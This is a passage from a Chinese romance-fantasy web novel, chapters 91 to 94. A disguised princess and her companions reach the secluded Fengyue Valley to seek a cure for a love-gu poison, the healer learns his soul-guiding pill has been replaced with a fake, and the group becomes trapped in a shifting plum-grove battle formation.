枫月谷地势低平,冬季相对较为温暖,谷内种满了草木,就是冬日,也是葱荣一片。枫月谷四周多有高山环绕,远处望去便是山峦叠嶂。 枫月谷许多年前不过是一处茂密的丛林,后来月无痕夫妇来到这里后,才变成了现在的样子。月无痕和风飘雪两位前辈的爱情在九州向来被奉为佳话,当年乱世之中,二人悬壶济世,救死扶伤,宛若神仙眷侣。后来,九州天下一分为四,天下太平,夫妻二人偶然来到枫月谷,风飘雪喜欢这里的风景,于是他们便久居在这里了。 枫月谷向来是出谷容易进谷难,四周的树林中有着数不清的毒物,许多觊觎枫月谷的人往往还没有靠近枫月谷就死在了谷外。 安文夕因为手中有月无双给她留下的地图,所以一路走来,避开了不少危险。 这里也是刚刚落了雪,四周格外寂静,只有脚踩积雪发出的咯吱声音,安文夕呼吸着丛林中凉沁沁的空气,心情有一股数不出的愉悦来。越靠近枫月谷,越觉得这里恍如与世隔绝的世外桃源。 “都说这里什么毒蜘蛛,毒蛇什么的多不胜数,怎么一路走来,我一只也没遇上呢?”袭匀左右打量了一周道。 “你难道不知蛇会冬眠么?”安文夕淡吐道。 袭匀:“……” 半晌袭匀慢慢靠近安文夕,兑了兑她,小声道:“我听说小师妹有只小青蛇,改天借师兄玩两天?” “不借。”安文夕淡淡的瞥了他一眼,随即看向楚君昱道:“玉公子,这边走。” “喂,我说……” “少啰嗦,话这么多,一会把这丛林中的毒蛇给吵醒了,我可救不了你!”欢凉快步跟上了安文夕。 被彻底无视的袭匀很不爽的踢着脚下的积雪。 夜影扫了他一眼道:“这里的东西,多数有毒,在下劝公子安分些好。”别一会出了什么事情又得连累他家殿下! 他真是搞不懂,以前他家殿下追着北宫喆的女人不放,现在他们家殿下终于转移了视线,但是……对象却是个男的…… “本公子知道,不需要你来提醒。”袭匀拽拽道,什么有毒,什么没毒,这点常识他还是有的。 “好心当作驴肝肺。”夜影冷哼一声。 “看着凤公子这轻车熟路的样子,难道凤公子曾来过枫月谷?” “不曾,我也是第一次来,不过我和枫月谷的小姐有些交情,她曾送我一张枫月谷的地图罢了。”安文夕这句说的是实话。 “原来如此。” “啊!”楚君昱话音刚落,后面便传来了袭匀凄厉的惨叫。 众人齐齐回头,却发现不知从何处冒出来一条花斑银纹、足有碗口粗的蟒蛇来,那条健硕有力的蛇尾此时正缠在了袭匀腰间。 “你这个乌鸦嘴,说什么会吵醒毒蛇,毒蛇没有,蟒蛇倒有一条!”袭匀朝欢凉道。 夜影看到这一幕,唯有冷哼一声:“真是自作孽不可活!”然后看了眼自家殿下,见他没有动手的打算,不禁稍稍放了心。 袭匀刚想拔剑斩断蛇身,却被安文夕拦住,“不可鲁莽!” 这个季节怎么会有蟒蛇出现,十有八丨九这是无双养的宠物,不小心让袭匀给撞到了。 “你不让我动手,难不成想让它将我活活缠死不成?”袭匀明显感觉蛇尾比刚才缠得更紧了,心肺挤压的难受,他不禁叫苦不迭。 安文夕取下来后背上背着的七弦琴,盘地而坐,玉指开始在琴弦上拨动。 袭匀见此,心急道:“师兄这就要死了,你难不成还要奏乐为我送行么?”他现在真是欲哭无泪,双手触摸到那滑腻腻的感觉,心中一阵毛骨悚然。 “你闭嘴!”欢凉怒道。 安文夕微闭了眼睛,十指飞快的拨动着琴弦,琴声渐渐急促起来,乐声之中有铮铮之感,令人心中一阵激荡。 袭匀感觉缠绕在腰间的巨物蓦地一松,巨大的蛇尾开始慢慢的松开,巨蟒不断地翻转着身子,像是有些烦躁一般。 不过一炷香的时间,原本锁着袭匀的蟒蛇已经离开了他的身体,拖动着缠绕着的蛇尾渐渐远离此处,粗壮的蛇身在雪地上划出了一道巨大的痕迹。 安文夕见此,玉指慢慢停了下来,将膝上的七弦琴再次背到后背上。 楚君昱眼中多了抹赞扬,“今日凤公子真是让我大开了眼界。”以琴声驱蛇还是头一遭。 “玉公子过奖了,这也是没有办法的办法。” “小师……弟,行啊,没想到你还有这一招。”袭匀赞道。 “喂,你身上臭臭的,离我远点。”欢凉一脸嫌弃的看着袭匀道。 袭匀蓦地想起刚才被巨蟒缠住,浑身湿丨滑黏腻的感觉,脸色微变,顿时浑身不自在起来。 经此巨蟒一事后,袭匀老实多了,也不再吵吵着要找毒蛇来玩了,一路上话也少了不少。 冬日白日总是短暂的,一行人在迫近日暮十分来到了枫月谷,谷口有几名青衣童子看守着,看到安文夕等人,脸上微微有些惊骇。毕竟,这些年能找到枫月谷的人,少之又少。 “若是几位是来求医问病的,就请回吧,我家谷主和夫人现在不方便。” 呵……真是好狂妄的口气! 楚君昱闻言微微敛了眸光,好看的薄唇扬起一道微不可见的弧度来。 安文夕上前一步,从袖兜里掏出一枚如意结来递给青衣小僮道:“我想见你们无双小姐,麻烦你将它交给你们小姐,她看了自然会来见我,多谢了。”这如意结是她特有的,只要无双一看必然知道她来了。 那名青衣小僮瞥了眼手中的小东西,神色微微有些迟疑。 让他去找无双小姐……说实话他害怕的厉害,全谷上下,谁不知道枫月谷最难惹的便是无双小姐了,她的院子里全是毒物,他们稍有不慎,可是会中毒的! 第91章 初来枫月谷 第九十一章 初来枫月谷 他犹豫了一瞬,将手里的东西扔给安文夕道:“我们小姐岂是你说见就见的!” 安文夕微眯了下眼睛,握紧了手中的如意结。 “嘿,我说你这个小屁孩怎么蛮不讲理,好好说话你不听,是不是想打架啊!”袭匀怒道。 “这位公子,看着你风度翩翩的,怎么如此——粗鲁!”那小僮微微瞥了眼袭匀,淡道。 “噗——”一声轻笑从上面传来,一个娇小轻盈的身影从高处一跃而下。 大红的狐皮夹袄里面是一身嫩绿的褙子,头上再次飘满了万国旗,无数条小辫子随着她的下落而左右摆动。 但看这衣服装束,安文夕也能猜到是谁,对于月无双的审美观,她已深表无力。 安文夕不动声色的对月无双眨了眨眼睛,月无双看了眼她和欢凉的打扮,瞬间明白了安文夕的意思,一时不知道叫她什么好。 “怎么了无双,不认识你凤哥哥了?” 月无双嘴角一抽,凤哥哥……她倒是想的出来。 “你怎么突然来了,也没告诉我一声。” “我也是临时决定,不欢迎?” “欢迎,谁敢不欢迎。” 月无双话音刚落,刚才拒绝安文夕那个小僮不好意思的抓了抓头,他好像得罪无双小姐了,眼角微微扫了眼不远处的那一大坨东西,后背一片凉寒。 月无双将那小僮的动作收入眼底,笑道:“凤……凤哥哥别怪他们,是我让他们这样说的,你不觉得这样才能彰显我们枫月谷的霸气么!” 月无双歪着头想了一会道:“嗯……就像是你以前说的霸气侧漏,哈哈。” “啊!” 众人正说着话,袭匀的一声尖叫成功的吸引了众人的视线。 “它……它怎么会在这里?”袭匀食指微颤,指着蜷缩成一团的巨蟒道,那花斑银纹的巨物,分明就是刚才差点要了他的命的那条巨蟒。 “这是我的小乖,你别害怕,它不会伤害你的。”月无双对袭匀道。 袭匀看着刚才的那只巨蟒不断地摆动着蛇尾,嘴角一抽。 小乖?我的个乖乖,这么个庞然大物叫小乖…… “凤哥哥,这位是?”月无双抬眼看着一直沉默着的楚君昱问安文夕道。 楚君昱俊美无斯的脸上微微带了些笑意,白衣如雪,黑发墨染,抬眸含笑间朗风霁月,即使他没有说话,只是静静地伫立在那里,也难以让人将他忽略。 月无双看着面前妖魅又润泽的男子,心蓦地一跳。 “这位是玉公子。” “月小姐,在下此次前来枫月谷想来问谷主求一味药。”温润的嗓音如一泓清泉缓缓流进了月无双的心里。 她抬起头看向楚君昱道:“原来你是向爹爹求药的,既然如此,都随我来吧。” 月无双走了两步,又想起了盘在不远处的小乖,她忙对小僮道:“我带客人去见爹爹,你一会将小乖送到我的院子里。” 那小僮看了眼正玩着自己的蛇尾巴玩的不亦乐乎的小乖,脸色一僵,又看了眼月无双眼底的决绝,只得硬着头皮道:“是,小姐放心。” 进了谷,一股清幽的梅香扑面而来,谷内的风景与外面迥然不同,亭台楼阁,雕梁画栋美不胜收,里面的建筑布置倒颇有种江南风味。行了几步,眼前的景象陡然一变,视线蓦地变窄,所有的房舍都玲珑精致,一条幽静的葱荣小道直通主院而去。 刚进了主院,月无双便风风火火的冲进了房内,头上各色的发带迎风而摆。 “爹爹,娘亲,谷里来客人了!” 月无痕正在为风飘雪描眉,听到月无双的大嗓门,吓得手一哆嗦,画偏了。 风飘雪看着画坏的眉毛,眉头一蹙,使得原本画歪的眉毛更具有喜剧感。 “这么火急火燎的,不知道的还以为火烧你家房子了,你瞧瞧你哪有一点女孩子的样子!”她不满的指着画歪的眉毛对月无双道,“你看看,好好地眉毛都画歪了。” “娘亲,都快晚上了,画什么眉毛啊?”月无双弱弱道。 “双儿,你说谷中来了客人?” 月无双立即又兴奋起来,“就是我跟你提到的夕姐姐呀。” “那个大安的羲和公主?”月无痕似是想起了什么。 风飘雪撇了撇嘴道:“怎么,你又想起莫虞来了?” “你这么大醋劲,也不怕闺女笑话。” “我哪有吃醋,当年人家莫虞压根就不喜欢你,况且有我在,你若是敢喜欢别的女人,看我不打断你的腿!”风飘雪说中眼中精光一闪,暗含威胁。 “爹爹,夕姐姐现在用的是凤公子的身份,你别露馅了,一同来的还有个玉公子。”那活脱脱的一只妖孽,帅的一塌糊涂,月无双默默的在心底补上了这一句。 “带我去看看。”月无痕说着率先迈出了步子。 “等等我,我也去。”风飘雪重新画了眉头,立即跟了上去。 月无痕四十上下的年纪,但保养得宜,英气勃发,眉宇之间尽显翩翩俊美之色。随之而来的风飘雪,更是美的张扬,周身凸显绝艳来。 “凤轻歌见过月谷主。” 楚君昱淡淡的扫了眼二人,随即抱拳道:“晚辈前来叨扰谷主,还望谷主莫要见怪。” 月无痕将视线放在了安文夕身上,一袭红衣翩飞,倒是和莫虞的喜好一样,白净如玉的脸上挂着浅淡的笑意。 不过是张假面皮罢了,看不出她的眉眼如何,月无痕一一掠过安文夕身侧的欢凉和袭匀,接着将视线放到楚君昱身上,润泽如玉,倒是人如其名,他那双狭长的凤眼涌出一丝熟悉来,月无痕一时想不起来,只得作罢。 “你们来我枫月谷所为何事?” “晚辈二人皆是来求一味药。” 若不是稀世难寻的药也不会找上枫月谷,月无痕对二人道:“既然你们能找到枫月谷,想来你们与老夫也算是有缘之人,你们先在枫月谷住下,至于求药一事,老夫自当尽力。” “多谢月谷主。” “我带你们去厢房吧。”月无双自告奋勇道。 经过月无双的分配,安文夕和欢凉、袭匀住在她院子的左边,而楚君昱住在她的右边。其实,她这么安排,一时为了找安文夕方便,二是方便她看美男。 袭匀到了厢房,便嚷嚷着要洗澡安文夕无奈,只得麻烦了月无双特地派了两个小僮烧了热水。 用过晚膳,安文夕便早早的躺了下来,按说连日赶路,疲惫不堪,到了今天终于可以睡个安稳觉,但是安文夕却丝毫没有困意,躺在床上翻来覆去,脑子里一直在想着这一年发生的事情,从安国被灭,到她被北宫喆纳入后宫…… 猛然间,她的脑海中闪现出无涯和秋水的脸来。很明显那日在九华殿刺杀北宫喆是一个骗局,目的就是让她和北宫喆反目,还有后来王叔去世,李管家,那个羽卫的图案,矛头都指向了北宫喆,这无疑令他们二人关系更加破裂。这一幕幕,慢慢浮现在她的脑海中,她渐渐清明起来。这一切,仿佛都在指向一个看不见的阴谋来。 安文夕蓦地睁开了眼睛,吹灭了摇曳的红烛,她相信,那个人总有露出狐狸尾巴的一天。 楚君昱看见安文夕房内熄了灯,立了半晌,然后转身回了房间。 跟在他身后的夜影有些不懂,殿下说有事来找凤公子,可是却在他的门外立了半天,最终也没有敲门。 殿下说来枫月谷求药,所求的药必是引魂丹,可是枫月谷仅有一颗引魂丹,如今正在江向晚的体内,他实在不明白殿下来这一趟,到底有何目的? 难道真的是为了凤公子,一个男人? 他若是没有记错的话,过了年,殿下就要迎娶西楚世族嫡女月小姐了! 第二日一早,月无双便早早的洗漱完毕来找安文夕,央求安文夕帮她梳妆打扮,其实她的审美观不正常,自己不会梳妆的原因要归结到她娘亲风飘雪身上。 由于风飘雪妒性较强,整个枫月谷上下,除了她们母女二人是女的,剩下的就是青一色的童子了,风飘雪真是恨不得枫月谷内的蚂蚁都全部是公的! 月无双常人由小僮服侍,头发自然也是小僮帮她梳的,后来,待她长大了,就一直是自己随心所欲的摆弄。 月无双看着铜镜里的自己,甚是满意,脑海中楚君昱那张俊逸的脸庞一闪而过,她颇为细心的将额前的碎发拢至耳后。 用完早膳,安文夕和月无双一起来到了主院,此时月无痕和风飘雪刚刚用完早膳,看到安文夕,早就明了了她的来意,对她招手道:“随老夫去药房。” 月无痕先是为安文夕把了把脉,然后一脸凝色道:“你体内的雌蛊虫已经埋进体内半年之久,时间不算太长,若是想解去相思蛊的话也并不难,但是——”月无痕瞥了眼立在一旁的月无双,蓦地停住了。 “但是什么呀?”月无双迫不及待问道。 第92章 假的引魂丹 第九十二章 假的引魂丹 “无双,你去沏壶茶来。”风飘雪随意说道。 “有什么不能说的,还非得支开我。”月无双咕哝道。 “月谷主,现在可以说了吧,需要我怎么做?” “老夫给你配副解药,届时你和北宫喆同时饮下,但是最主要的还是需要男女双方……” “我明白。”安文夕看着月无痕欲言又止的样子心中明了。 可是若是解蛊需要这样的话,她倒宁愿不解,永远不要再和北宫喆有所牵连。 安文夕咬了咬下唇,慢慢覆上心口,那里顿顿的疼,若是不解,她害怕会渐渐迷失了自己,舍不得杀他,忘记报仇。可若是想解相思蛊,势必会再与他羁绊…… 风飘雪颇为感怀的看了眼安文夕道:“这相思蛊长期种在体内,并不是什么好事,若是能解还是早些解了吧。” “老夫给你配了解药,至于解不解,决定权还在于你。”月无痕说道,“这解药不是一时半会就能配出来的,这段时间你就安心住在谷里,正好双儿也比较喜欢你。” “多谢月谷主了。” “爹爹,我砌好茶了。”月无双端着茶壶进来。 “夕姐姐,你尝尝我们谷中的梅花茶如何?” 安文夕接过月无双递来的茶,浅浅啜了一口,微微有些酸涩,但是酸涩过后便是醇香,淡淡的梅香萦绕在唇齿之间,令人回味无穷。 安文夕赞道:“好茶。” 月无双听到安文夕夸赞,立即眉飞色舞起来,“这主要是我茶艺好。” “谷主,玉公子求见。”青衣小僮撩起门帘禀告道。 “让他进来。” 看着掀开门帘的那只骨节分明的大手,月无双立即凝住了视线。 楚君昱进了门,闻道幽香淡淡的茶香,不禁称赞道:“这梅花茶好香。” 月无双心中兴奋起来,对他道:“玉公子要不要尝尝无双刚泡的茶?” “多谢无双小姐。” “不知玉公子这次来枫月谷求什么药?” “在下想求引魂丹。” “砰——”楚君昱话音未落,月无双手中捧着的茶盏蓦地摔倒了地上,上好的白瓷杯盏顿时碎成了一片,滚烫的茶水洒了一地。 “我……手滑了。”月无双无力地笑了笑,这下完了,老爷子铁定知道谷里的这颗引魂丹是假的了。 月无痕根本没有在意月无双这个小细节,冷声对楚君昱道:“玉公子可知引魂丹乃我枫月谷至宝,从不外借?” “在下知道,但是事急从权,在下想来试一试,月谷主,救人一命胜造七级浮屠。” 月无痕一拂袖子,冷冷哼道:“救人一命胜造七级浮屠?”这句话或许二十年前对他来说还有用。 “月谷主……” “这件事,你不必多说,老夫绝不同意,你若是执意如此,老夫只有将你赶出枫月谷了!” “玉公子,这件事我爹爹肯定不会同意的,不如你求点别的药吧。”月无双劝道,希望爹爹不会去察看引魂丹。 楚君昱放下茶盏,嘴角微勾,“月谷主不必生气,在下就换几种药便是。” 安文夕不动声色的看了眼楚君昱,小口的抿着茶,只怕枫月谷丢了引魂丹一事再也瞒不住了!这与她而言,不是一件坏事! 月无双回到了自己的院子,立即急不可待的给月清绝发了封急信,催他回谷,左右思量一番,觉得还是不妥,刚想去琦月阁看看老爷子是否发现了那颗引魂丹是假的,便听到了月无痕的咆哮。 “月无双,你给我过来!”琦月阁方向突然传来月无痕气急败坏的咆哮。 完了完了!老爷子发现了,她要死定了! 月无双扫了眼四周,还没有来得及发现藏身之处,眼前白光一闪,她便被月无痕整个提了起来。 “月无双,我问你,引魂丹呢!”月无痕一脸铁青,恨铁不成钢的看着月无双,他怎么会有这样吃里扒外的闺女,竟然敢拿一颗假的引魂丹来蒙骗他! “爹……爹,那……那引魂丹不是好好的在琦月阁么?” “还给我装蒜?”月无痕右手一扬,手里的粉末就要往月无双撒去,月无双立即吓得闭上了眼睛,这老爷子向来不手软,这痒痒粉可不是闹着玩的,一旦沾身,非得退层皮不可! “爹爹,你等一等,这件事是我哥做的,与我无关,我也是后来才知道的……”说到最后,声音已是细不可闻。 “知情不报,罪加一等!”月无痕一把松开了她。 “赶紧给他飞鸽传书,让他立即回谷!” “是是。” “对了,他拿引魂丹去干什么去了?” “好像是去复活江向晚了。”月无双小声道。 月无痕闻言拧了眉,“那江向晚己经没有了心,与死人无异,就是他逆天而行,强行复活了她,她也不过是行尸走肉罢了!”最关键是,还白白的浪费了引魂丹的精华! “这件事是北宫喆那小子做的吧,你告诉他,让他立即将引魂丹送回来,否则,老夫不介意亲自出谷寻回引魂丹!” “可是爹爹,那引魂丹不是一旦注入体内便取不出么?” “取出还是能取出的,只不过有些麻烦罢了,而且如果强行取出,会对那个人的身体造成极大的伤害。”顿了一下,月无痕又接着道,“你以为,老夫会在乎那江向晚的死活?” 偷了他的引魂丹,本就是罪不可恕! 月无痕望着远处,微微扬眉,医者仁心么,这医者的本分他早在二十年前便失去了。现在,他只想和妻儿共享天伦之乐,不想被人打扰罢了。 安文夕嘴角微勾,他不惜与月无痕翻脸,也要将她救火,这份情谊,的确深重,那她就要看看他要如何向月谷主交代了!她的眼底盛满了讥意。 既然楚君昱也想要引魂丹,她不介意帮他争一争,也算是报答了他多次出手相救的恩情。 月无双看见了她来,立即朝她招手道:“夕姐姐,不如让喆哥哥来一趟吧,也好顺便解了你的相思蛊。” 月无痕淡淡点了点头,“如此再好不过。”看着眼前的安文夕,他不禁眼前一亮,若是北宫喆不肯交出引魂丹的话,他不介意小人一次! 安文夕瞥见了月无痕眼底的精光,立即道:“月谷主,您能不能先不要告诉他我在枫月谷。” 她是凤轻歌这层这份绝对不能让他知道,更何况,现在这里还有个楚君昱! “罢了,你先给绝儿传书,让他带着引魂丹回谷。”月无痕对月无双吩咐道。 “多谢月谷主。” 月无痕踱步出了月无双的院子,他今天答应了她,就当是还了当年莫虞的一份恩情吧。 谷内厚厚的积雪尚未消融,整个枫月谷一片银装素裹,楚君昱立在窗前,嘴角微勾,这引魂丹丢了,好戏马上就要来了。 “殿下,您是故意向月谷主求引魂丹的吧,月谷主发现那引魂丹是假的,势必会让北宫喆将引魂丹送回来,届时我们只需要将这引魂丹抢回便可以了。”夜影不禁在心中称赞,殿下这一招实在是高。 楚君昱凤眸微敛,嘴角扯出了一抹淡淡的笑意,转身出了房门,朝安文夕的院落走去。 半道上,楚君昱碰到一位青衣小僮端了碗漆黑的药汤,随口问道:“这是送到无双小姐房间的?” “不是,这是凤公子要的汤药。” 凤公子要的……汤药里面微微散发着益母草和艾草的味道,这分明是缓解女子痛经的药汁,楚君昱打量着那碗药汤,眸光渐深,抿了抿薄唇,复又折回了房间。 跟在后面的夜影有些摸不着头脑,殿下不是去找凤公子么,怎么又回去了? 一晃之间,安文夕来到枫月谷已有十余日了,每日无双都陪她在谷内四下转转,不出几日,她已经将谷内熟悉了一遍。 谷内花草繁多,只是冬日里便只剩下了枯枝残叶,唯有凌寒独放的红梅,簇簇红意压满了枝头,分外的灼人眼球。 可是令她有些奇怪的是枫月谷的西山那里,明明是红梅遍野,景色怡人,为何每每还没有到西山,无双便停住了脚步,想必是这是枫月谷的秘密之地,安文夕向来不喜欢窥探别人隐私,故而也没有向月无双提过这件事。 可是她不去窥探,却管不了身边的人耐不住性子去好奇,尤其是那个向来不安分的主。 她正和月无双逗丨弄小青蛇,夜影急匆匆赶来,一脸凝色道:“凤公子,不好了,与你同来的匀公子去了西山梅苑,我家公子一直待在梅苑入口守着,却迟迟不见匀公子出来。” “什么?”月无双一下子惊得从凳子上弹了起来。 欢凉挽了黛眉,“怪不得这会没有看见他。” “大事不好了。”月无双神色微凝,“爹爹从来不让我和哥哥接近西山的,那里面有八卦阵,十分凶险,我小时候偷偷进去过,结果差点被八卦阵吸入阵法里面,而且爹爹还曾说那里面有怪兽!” “我进去找他!”欢凉沉声道。 “不可莽撞。”安文夕一把拉住欢凉,然后看向月无双道,“无双,不如去请月谷主来。” “不行,引魂丹丢了,爹爹如今正在气头上,若是被他知道有人进了西山,后果不堪设想。”老爷子向来脾气顽固,万一他不爽起来,要拿袭匀试毒就糟了。 第93章 西山梅苑 第九十三章 西山梅苑 “我们先去梅苑看看吧。”安文夕双眸微锁。 “这样也好,不如我们偷偷进了西山梅苑,趁着袭匀还没有触动阵法之前将他带出来,这样也能神不知鬼不觉。”月无双虽然嘴上这么说,但脸上却有些惧色。 待众人赶到梅苑入口之时,楚君昱早就不见了踪影,夜影整个心蓦地一沉,眸光一敛,迅速掠进了梅苑。 “喂,你别乱进……”夜影的速度太快,月无双根本来不及拉住他的衣角,然后扭头对安文夕道:“夕姐姐,咱们也赶紧进去吧。” 初入梅苑,便有一阵清幽的梅香席面而来,红梅映雪,暗香浮动,似乎看起来与平常的梅林无异。 “夕姐姐、欢凉,你们多注意脚下。”月无双仔细叮嘱道。 一旦踏入梅苑,周遭便萦绕着凝重的气氛,再好的景色她们也无心欣赏。 虽然不论前世今生,安文夕对八卦阵发都有研究,但现在她仍不敢大意,既然这里的阵法让月谷主都有所忌惮,必然不是简单地八卦阵。 “在我的记忆中,上次我分明是从这里绕过去的,为何这次来,这里的小路不见了?”月无双指着一处梅林惊诧道。 “你上次是不是从那条小路上穿过了梅林?” 月无双点点头,“不过,当时我刚走了不久,前方的路突然闭合,待我再回头时,来时的路也不见了,然后梅林不停的移动,就在我眼花缭乱的时候,梅林移动的越来越快,越来越朝我逼近,最后不断有梅藤向我飞舞而来,幸好爹爹及时将我救了出去。”由于当时情形十分危急,事后她又被吓病了数日,所以记得十分清楚。 “照你这么说,那前方就应该入阵了。”九州的八卦阵常常会自己移动,所以更加诡谲多变,应付起来就更加的棘手。 她向来喜欢研究机关阵法,当年她又比较贪玩,有一次私自出宫潜入夏朝的陵墓,不小心被困在七杀阵里,本以为就要困死阵中,却被初入大安的北宫喆所救。 英雄救美,就如戏剧里所演的那样美好,她一见倾心,结果却是今日万劫不复的开始! 安文夕自嘲的扯了扯嘴角。 “夕姐姐,我们从这里走吧。”月无双这条靠着梅苑的一条幽径道。 安文夕点了点头,对欢凉道:“试着用传音入密联系一下袭匀,问他现在在哪?” “公主,不行,传音入密根本无法联系袭匀,听音石也不行。”欢凉蹙眉道。 “玉公子和夜影也不见了踪影,看来只要我们入了这八卦阵,再想出来就难了。”月无双微微忧虑道。 “这梅林十分古怪,我们刚才就已经来过这里了!”安文夕察看了眼她刚才留下的记号说道。 “难道我们迷路了?” “不,我们不是迷路,而是我们已经入阵了!”安文夕杏眸扫了眼周围的梅树,好像它们正以肉眼不可见的速度移动着。 “入阵?”月无双惊呼道,刚才明明是绕着梅林的边际走的。 她立即上前两步,跟紧了安文夕道:“夕姐姐,你说我们还能出去么?” “只要能找到阵眼,并设法破了阵眼就可以出去了!” “夕姐姐,这梅林又动了!”月无双惊恐道,幼时那恐怖的记忆再次朝她袭来,她大力的握着安文夕的手。 “无双,你不要看!”安文夕大声道,这移动的梅林容易迷惑人的视线,若是一直盯着看,易让人迷失心智,永远被困在梅林里,轻则双目失明,重则七孔流血而亡。安文夕一把拉住欢凉,“我们拉着手,免得有人一不小心被卷入梅林。” 再看地上的景致,和刚才初进梅苑时竟然一模一样,这样一来,无论安文夕在哪做了记号,都始终不知道究竟哪里走过了,哪里没有走过。 风声渐起,卷起地上的砂石,砾砾作响。阴冷的风席面而来,令人心中一颤,周遭的氛围渐渐变得更加阴森可怖起来,整个梅林仿佛笼罩了一层沉沉雾气一般,压抑的人喘不过气来。 安文夕眸色一凛,这熟悉的场景令她心有余悸,这分明就是当初困住她的七杀阵!可惜,当时她醒了之后,便已经出了七杀阵,她根本就不知道如何破了这七杀阵! 她抿了抿唇,打起十二分的精神满满往前走着,偏偏在她的脑海中,那个人的音容笑貌逐渐的清晰起来,九哥哥温柔的眉目和北宫喆冷桀的面庞渐渐重合起来,久久挥之不去。 月无双一张小脸绷得紧紧的,大大的杏眸警惕的盯着四周,攥着安文夕的手心里出了一层细汗,她真是有些后悔了,刚才就不该鲁莽的跟进了西山梅苑。 “公主,我好像看到了玉公子的影子。”欢凉有些兴奋道。 安文夕也捕捉到了楚君昱的一片残影,如海市蜃楼一般,看来,这八卦阵里不禁有令人胆寒的七杀阵,还有九宫虚幻来迷惑众人的视线。 今天,她们能平安出去的几率几乎为零…… 安文夕黛眉轻挽,袭匀到现在一点消息也没有,不知道他如今在哪。 突然眼前再次闪现楚君昱的身影,安文夕一转身,周围梅林空隙间同时出现了好几个楚君昱俊逸的脸来,她忙闭上眼睛,然后蓦地睁开,眼前再没有出现楚君昱,反而看到了袭匀被梅藤紧紧缠绕着。 “袭匀——”安文夕惊呼道,脚下却猛地被什么东西缠住,她挥剑斩断,却突然发现无双和欢凉不见了踪影! 她们明明和她在一起的,这究竟是怎么回事? 不好,她陷入虚幻之境了! 安文夕蓦地盘地而坐,闭眼凝神起来,刚过了片刻,耳边传来欢凉的声音道:“公主,那真的是玉公子,我们赶紧跟上吧。” 安文夕扫了眼月无双和欢凉,淡吐了口气,还好,她终于出来了! 她们刚迈动了脚步,眼前的景色一变,到处是赤红沁血的红梅,哪里还有半分楚君昱的影子? “小师……妹,师兄被……梅藤缠住了,快来……”安文夕听到了袭匀通过传音入密的大喊。 消息传到安文夕这里便只剩下了只言片语,不过这已经足够,总算是联系上了袭匀,安文夕嘴角微微有些丝笑意。 她们立即顺着声音的方向前进,由于她们顺着声音,而不再看着记号前进,方向感比刚才好了不少。 前行了一段,她们慢慢找到了方法,在这七杀阵里,梅林诡谲奇异,踪迹难寻,若是单凭眼睛去看,一会便眼花缭乱。若是依靠听觉的话,反而达到了事半功倍的效果。 由于九宫虚幻的困扰,她们听到的声音一直是断断续续的,待她们终于找到袭匀时,他已经被张牙舞爪的梅藤折磨的只剩下了半条命了。 那些梅藤看到了安文夕等人,仿佛是看到了新鲜的食物一般,急不可待的朝她们扑来,安文夕见状立即拔出了长剑来。 她擅长用鞭,用起剑来难免有些生硬,但她手腕灵活,飞快的斩断朝她袭来的梅藤。 “小师妹,快!”袭匀眼中露出喜色。 利剑还没有来得及斩开困着袭匀的梅藤,便被梅藤死死缠住,藤蔓顺着剑身慢慢爬上安文夕执剑的手臂,安文夕侧身一避,再看欢凉和月无双,现在也没有好到哪去。 “夕姐姐,救我!”月无双手里的银针翻动,但却丝毫无法阻止梅藤朝她席卷而来。 看着面前湿潮丑陋的梅藤,她心里一阵阵恶寒。 “无双小心!”安文夕轻盈的避开了梅藤,抬脚将围着月无双身测的梅藤踢来。 “公主,小心你后面!”欢凉大声道,她如今被梅藤缠着,根本无法去帮她。 “嚯——”一柄泛着银光的利剑破空而来,将安文夕身边的梅藤尽数斩净,然后一把将她带起,随即利光一闪,袭匀顿时恢复了行动。 “公子!”夜影迅捷的扫清了脚下的障碍,靠在楚君昱身后。 月无双见众人皆聚在了一起,心中的恐惧渐淡,恶狠狠的挥洒着毒粉,逼得梅藤节节后退。 “敢缠着本小姐,毒死你们!哼,让你们瞧瞧本小姐的厉害。” “无双,别闹了,赶紧跟上!”安文夕厉声道。 楚君昱紧紧锁着眉,“当务之急就是要找到阵眼。” “要找阵眼谈何容易,我们现在处在八卦阵的梅林中,周围还有七杀阵,并且不时伴随着九宫虚幻。” 他们在这梅林中不丧命就是好的了,怎么去找那阵眼? “也许,梅林深处就是阵眼。”楚君昱沉声道。 “梅林深处?”袭匀脸色一黑,“那岂不是去送死?” “知道送死,还跑到西山来?”欢凉气愤道。 袭匀闻言,脸上一白,看来这次他也算是长了个记性。 “等等我……”月无双一阵小跑道。 “啊!” 正在小跑的月无双突然发出一声尖锐的喊声,众人蓦地回头,却发现她身处的地方发出刺目的光来,她整个人慢慢下降。 “无双——” “啊!又要将我吸进去了,夕姐姐,救我!” 第94章 破阵之法 第九十四章 破阵之法 “阵眼在那里!”楚君昱指着欢凉脚下的光芒道。 安文夕看着慢慢被吸进去的月无双,身形一晃,一把抓住月无双的手,不料月无双的脚底好像生了磁场一般,根本无法撼动分毫,眼看月无双就要被吸进阵眼,安文夕突然沉身下去,使出所有力气将月无双拖了上来。 楚君昱立即伸手去拉安文夕,而他的指尖却只轻轻的触到了安文夕的衣角,眼睁睁的看着她坠身下去。 “公主!” “小师妹不要啊!” “夕姐姐——”月无双借着安文夕的力气渐渐摆脱了阵眼的吸力,刚刚要踏出来,一旁蠢蠢欲动的梅藤再次翻动起来,将月无双再次拖向阵眼之中。 楚君昱眸光一敛,顺手将月无双捞了过来,然后一把扔给身后的夜影,待他再次将手伸向安文夕时,却发现安文夕此时已经几乎完全沉入阵眼,楚君昱凤眸微缩,飞身一掠,紧紧的抓住了安文夕的手。 速度之快,令人来不及反应,众人只觉得眼前掠过一道紫光。 “玉公子——”欢凉惊呼道。 “公子!”夜影脸色蓦地一变,立即冲了过去,想拉住楚君昱。 可惜此时已经晚了,楚君昱和安文夕齐齐被吸进了阵眼之中,随着他们的消失,伴随着的刺目的光也消失不见。 周遭又恢复了以前的景象,仿佛刚刚什么都没有发生一般。 夜影飞快的掠到刚才楚君昱沉下去的地方,不停地摩挲着地面,仍然没有半点痕迹。 “夕姐姐……”月无双有些愧疚唤道。 “小师妹,你别吓我,师兄不禁吓的啊……”袭匀顿时慌了神。 “公主,公主……”欢凉一颗心顿时沉到了谷底,若是公主发生了什么意外,那么一切都失去了意义!不行,她不能让公主有事,决不能! 她不甘心的一遍遍用手抠着刚才安文夕消失那处的泥土,直至将指甲扣得翻飞,血肉模糊不堪。 袭匀立即捉住她的手道:“你在干什么,这手不打算要了么!” 欢凉一把甩开他,“你滚开,要不是你,公主怎么会消失不见!” 